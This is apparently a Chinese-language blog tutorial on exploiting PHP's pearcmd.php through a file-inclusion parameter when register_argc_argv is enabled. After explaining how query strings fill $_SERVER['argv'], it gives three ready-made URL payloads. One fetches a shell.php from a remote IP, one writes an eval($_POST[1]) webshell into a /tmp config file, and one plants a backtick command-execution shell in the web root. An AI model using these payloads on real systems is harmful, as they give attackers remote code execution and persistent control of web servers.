中文全称PHP扩展应用库
php go-pear.php
即可安装,没有就先要去官网下 go-pear.php
一般都是装在/usr/local/lib/php/pearcmd.php
然后就是要在php.ini处找到这个给打开register_argc_argv=ON
,默认也是开启的
下面就可以愉快的测试了
正文
开启register_argc_argv
有什么用处?开启了之后$_SERVER[‘argv’]
就开始生效了
<?php
var_dump($_SERVER);
?>
["argv"]=>
array(0) {
}
["argc"]=>
int(0)
不加任何参数得到的argv数组是空,现在加上再试
http://127.0.0.1/1.php?aaa+bbb+ccc
array(3) {
[0]=>
string(3) "aaa"
[1]=>
string(3) "bbb"
[2]=>
string(3) "ccc"
}
["argc"]=>
int(3)
可以看见argv是有值的了
再来看pearcmd.php
这个文件,往下跟进
进入到这个factory工厂中,会去找XML是否存在,一个命令对应一个XML,所以命令是有限可控,
然后来到这个函数的三个判断,前两个显然是无法满足的,因为版本啥的不可控
function &fromXmlString($data, $state, $file, $archive = false)
{
if (preg_match('/<package[^>]+version="([0-9]+\.[0-9]+)"/', $data, $packageversion)) {
.........
return $pf;
} elseif (preg_match('/<package[^>]+version="([^"]+)"/', $data, $packageversion)) {
..........
return $a;
} else {
..........
return $pf;
}
可用姿势
1、下载远程文件
?file=/usr/local/lib/php/pearcmd.php&aaa+install+-R+/var/www/html/+http://远程ip/shell.php
<?php
echo "<?php system(\$_POST[1]);";
注意这里我用的是echo,而不是直接的shell,是因为这个过程是先读取文件的内容,然后再写入
/var/www/html/tmp/pear/download/shell.php
2、写入配置文件到/tmp/shell.php
?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/shell.php+-d+man_dir=<?php eval($_POST[1]);?>+-s+
3、日志配置文件写马到目录
?file=/usr/local/lib/php/pearcmd.php&aaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+1.php